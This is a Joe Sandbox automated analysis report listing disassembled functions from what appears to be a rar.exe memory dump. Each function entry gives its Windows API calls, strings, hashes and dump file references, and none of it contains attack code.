Function 00007FF6EE77B650 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 00007FF6EE77B66A
CloseHandle.KERNEL32 ref: 00007FF6EE77B685
CreateEventW.KERNEL32 ref: 00007FF6EE77B699
GetLastError.KERNEL32 ref: 00007FF6EE77B6A6
CloseHandle.KERNEL32 ref: 00007FF6EE77B6C0

Strings

rar -ioff, xrefs: 00007FF6EE77B65C, 00007FF6EE77B68B

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CloseCreateEventHandle$ErrorLast
String ID: rar -ioff
API String ID: 4151682896-4089728129
Opcode ID: 1b32cc9a5b3853ccf39725862a0ac8b7945a78bb0f3e0147b511bdfad103efab
Instruction ID: 6e4747095d9818023d888f3878d0b80c59714f0eb3cc208d4a7bb03e3a420804
Opcode Fuzzy Hash: 1b32cc9a5b3853ccf39725862a0ac8b7945a78bb0f3e0147b511bdfad103efab
Instruction Fuzzy Hash: 8B014F2A96DA07C3FF14DB70E4547352352AF65702F460835F90EC6194DFAFA064CA5A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE77B470 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6EE77B488
GetProcAddress.KERNEL32 ref: 00007FF6EE77B4A0
GetProcAddress.KERNEL32 ref: 00007FF6EE77B4D5

Strings

SetDefaultDllDirectories, xrefs: 00007FF6EE77B4CB
kernel32, xrefs: 00007FF6EE77B481
SetDllDirectoryW, xrefs: 00007FF6EE77B496

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: SetDefaultDllDirectories$SetDllDirectoryW$kernel32
API String ID: 667068680-1824683568
Opcode ID: 8cf5c4d02fd6faa15582d92511ad3bd01355bb3a29212f000fb48e6594ec6bc8
Instruction ID: 859d81b0c2532842e549936dd309a0ec27b5e97b654d250f42929ceebc467cb9
Opcode Fuzzy Hash: 8cf5c4d02fd6faa15582d92511ad3bd01355bb3a29212f000fb48e6594ec6bc8
Instruction Fuzzy Hash: 6CF06D26A4DB8681EF009B51F8402762361BF59BC0F4A5434FD1D87768EEAEE065C306

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE791ADC Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 488COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE791B14
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE791E39
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE7920BE

Strings

+, xrefs: 00007FF6EE791B96
-, xrefs: 00007FF6EE791B8B

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: +$-
API String ID: 3215553584-2137968064
Opcode ID: 6f396bf2fa0b9258a91da6205a77601ce69ace0f3c9f84e6f9ba191af742c055
Instruction ID: 1c8e7afe2371451cf7d6f94dc55964aa909ef914c2b8bc950d28a4aefbd46a22
Opcode Fuzzy Hash: 6f396bf2fa0b9258a91da6205a77601ce69ace0f3c9f84e6f9ba191af742c055
Instruction Fuzzy Hash: 4D127227E0958345FF24A619E0443B82656EF20764FCB4632E69AC36C0DFAFE571C30A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE74E49C Relevance: 9.1, APIs: 6, Instructions: 148COMMON

Download Yara Rule

APIs

BackupRead.KERNEL32 ref: 00007FF6EE74E523
BackupRead.KERNEL32 ref: 00007FF6EE74E572
BackupSeek.KERNEL32 ref: 00007FF6EE74E5CB
BackupRead.KERNEL32 ref: 00007FF6EE74E641
BackupSeek.KERNEL32 ref: 00007FF6EE74E679
wcschr.LIBVCRUNTIME ref: 00007FF6EE74E6B4

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Backup$Read$Seek$wcschr
String ID:
API String ID: 2092471728-0
Opcode ID: bf2be669b84e778a922cb721f987b286462bef24a2ee3b0e5ee0b4462bdc88cd
Instruction ID: e83d4577728b4177a4247d49375aef17222874f4d2c7099ce7c7fda68e94f4de
Opcode Fuzzy Hash: bf2be669b84e778a922cb721f987b286462bef24a2ee3b0e5ee0b4462bdc88cd
Instruction Fuzzy Hash: 6D51823360864186EF20CF15E44026AB3A5FB94BA4F110236FE9D87B98DF7DD465CB06

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE77BC8C Relevance: 9.1, APIs: 6, Instructions: 113timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6EE756754: GetVersionExW.KERNEL32 ref: 00007FF6EE756785

FileTimeToLocalFileTime.KERNEL32 ref: 00007FF6EE77BCEF
FileTimeToSystemTime.KERNEL32 ref: 00007FF6EE77BCFB
SystemTimeToTzSpecificLocalTime.KERNEL32 ref: 00007FF6EE77BD0B
SystemTimeToFileTime.KERNEL32 ref: 00007FF6EE77BD19
SystemTimeToFileTime.KERNEL32 ref: 00007FF6EE77BD27
FileTimeToSystemTime.KERNEL32 ref: 00007FF6EE77BD68

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 783e0797a035659b3492376ae89a00853b2f1d30ad776eeab2f46d2c2c056a92
Instruction ID: e274bf70c45b8bcc27b0889333c1cb8c5d9b61e4ce5823a69bd901d30f6154ed
Opcode Fuzzy Hash: 783e0797a035659b3492376ae89a00853b2f1d30ad776eeab2f46d2c2c056a92
Instruction Fuzzy Hash: 89517BB3F146518AEB54CFB4D4402AC3BB1F708789B51403AEE0E96B98EF79D565CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE76EB40 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6EE7372C4: new.LIBCMT ref: 00007FF6EE7373DE

new.LIBCMT ref: 00007FF6EE76EBB4

Strings

rar, xrefs: 00007FF6EE76ECF2
sfx, xrefs: 00007FF6EE76ECC9
rebuilt., xrefs: 00007FF6EE76ECA3
exe, xrefs: 00007FF6EE76ECDC

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID:
String ID: exe$rar$rebuilt.$sfx
API String ID: 0-13699710
Opcode ID: 64fd0a9c721559b69046ad3ad4575efaf5bbe3996228d2347e7f21f9d6138edc
Instruction ID: 015328c98f98a6f3ab75c1d23312ea64b67eca9c288821f462d8eac28750056a
Opcode Fuzzy Hash: 64fd0a9c721559b69046ad3ad4575efaf5bbe3996228d2347e7f21f9d6138edc
Instruction Fuzzy Hash: 2C81B823A1C68345EF20DB64D4153F92392FBA13C8F424131F94D876CADEAEE625C71A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE78E0C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

abort.LIBCMT ref: 00007FF6EE78E0F4
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6EE78E1BC
RtlUnwindEx.KERNEL32 ref: 00007FF6EE78E20B

Strings

f, xrefs: 00007FF6EE78E13A
csm, xrefs: 00007FF6EE78E1A2

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CurrentImageNonwritableUnwindabort
String ID: csm$f
API String ID: 3913153233-629598281
Opcode ID: cb6d980e5d8e076ab593136caf69effa74300e2f691bd4e1b53b09370fd6a73c
Instruction ID: ed572d58e0aad83ed009d4b61fa5ed12d901753a4acb474d82d22bfeab2c1a6f
Opcode Fuzzy Hash: cb6d980e5d8e076ab593136caf69effa74300e2f691bd4e1b53b09370fd6a73c
Instruction Fuzzy Hash: DE61D333B0865286EF18DB51E844B79A791FB747D4F168530EE0A87744DFBAE850C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE74EA18 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

GetFileSecurityW.ADVAPI32(?,00007FF6EE74EBC2), ref: 00007FF6EE74EA7C
GetFileSecurityW.ADVAPI32(?,00007FF6EE74EBC2), ref: 00007FF6EE74EABC
GetSecurityDescriptorLength.ADVAPI32(?,00007FF6EE74EBC2), ref: 00007FF6EE74EB0A

Strings

, xrefs: 00007FF6EE74EAE3
ACL, xrefs: 00007FF6EE74EB39

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Security$File$DescriptorLength
String ID: $ACL
API String ID: 2361174398-1852320022
Opcode ID: 99ab71e5ccbbe398f237f971ffe9b39aed517989f3bcccf534b2133dda1e344d
Instruction ID: 649fbb0c60015fb75a3d88fac80f5553dee15d72173bab1d430f8bc1ccdbd4fd
Opcode Fuzzy Hash: 99ab71e5ccbbe398f237f971ffe9b39aed517989f3bcccf534b2133dda1e344d
Instruction Fuzzy Hash: 6231A663B0868182EF20DB11E4543E973A5FBA8784F810032FA8D83759DF7EE525C705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE77BE3C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6EE77BC8C: FileTimeToLocalFileTime.KERNEL32 ref: 00007FF6EE77BCEF
Part of subcall function 00007FF6EE77BC8C: FileTimeToSystemTime.KERNEL32 ref: 00007FF6EE77BD68

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE77BEAE
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE77BED8

Strings

????-??-?? ??:??, xrefs: 00007FF6EE77BEDF
%u-%02u-%02u %02u:%02u, xrefs: 00007FF6EE77BEB8
%u-%02u-%02u %02u:%02u:%02u,%09u, xrefs: 00007FF6EE77BE80

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Time$File$swprintf$LocalSystem
String ID: %u-%02u-%02u %02u:%02u$%u-%02u-%02u %02u:%02u:%02u,%09u$????-??-?? ??:??
API String ID: 1364621626-1794493780
Opcode ID: c631e38674febfb764440a3499547548297e94e1d6d8b8a415d39587179a0b79
Instruction ID: 7ef5930808ebf239dc64b3979465a68e614602d1e9ea4a381b47f25b0492b458
Opcode Fuzzy Hash: c631e38674febfb764440a3499547548297e94e1d6d8b8a415d39587179a0b79
Instruction Fuzzy Hash: 1821D376A182418AEB50CF64E480B9D7BF0F758794F154022FE4893B48EB7AE951CF15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7924D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6EE7924F4
GetProcAddress.KERNEL32 ref: 00007FF6EE79250A
FreeLibrary.KERNEL32 ref: 00007FF6EE79252F

Strings

mscoree.dll, xrefs: 00007FF6EE7924EB
CorExitProcess, xrefs: 00007FF6EE792503

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 62fc0dfec48af2956ca19e77247605bed92fa0407192cbb5e3de02daf22cabb6
Instruction ID: 19d6f2c6021bf1e7e7a0f77f3775ae9798a62ae7ee8205c66b69e90729b937b2
Opcode Fuzzy Hash: 62fc0dfec48af2956ca19e77247605bed92fa0407192cbb5e3de02daf22cabb6
Instruction Fuzzy Hash: 38F0C863A1878281EF449B10F4543792360FF98780F061439F90FC2754DEBED464C705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE79C654 Relevance: 7.8, APIs: 5, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aecc19a358617ecaa8b6bbce6cc459dc0080c4c1e8e9e85a1fab47fbb6b6c597
Instruction ID: b4d9e4d65a26bbbeea8c3aff963bd533ffab7d52ae6a831f7095f7239bd2f2a4
Opcode Fuzzy Hash: aecc19a358617ecaa8b6bbce6cc459dc0080c4c1e8e9e85a1fab47fbb6b6c597
Instruction Fuzzy Hash: 22A1F163B0878246FF608B60C4503B92691AF64BA4F4B4635EA5D867C5DFBFE464C30A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE797AB4 Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE797AF9

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d6b863787b9640c79ee2b1febadb7c504d9673d6b028f9ef991185c259ef8196
Instruction ID: 9def6481a328c7a95d0b3412f7321ac0d93a02899559292571c8be048c922189
Opcode Fuzzy Hash: d6b863787b9640c79ee2b1febadb7c504d9673d6b028f9ef991185c259ef8196
Instruction Fuzzy Hash: 7581DC23A1864285FF208B65D4907BC26A4BF66B88F474135FD0E87790DFBBE461C31A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE797428 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF6EE797C5B), ref: 00007FF6EE797485
WideCharToMultiByte.KERNEL32 ref: 00007FF6EE797561
WriteFile.KERNEL32 ref: 00007FF6EE797587
WriteFile.KERNEL32 ref: 00007FF6EE7975C6
GetLastError.KERNEL32 ref: 00007FF6EE7975FE

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
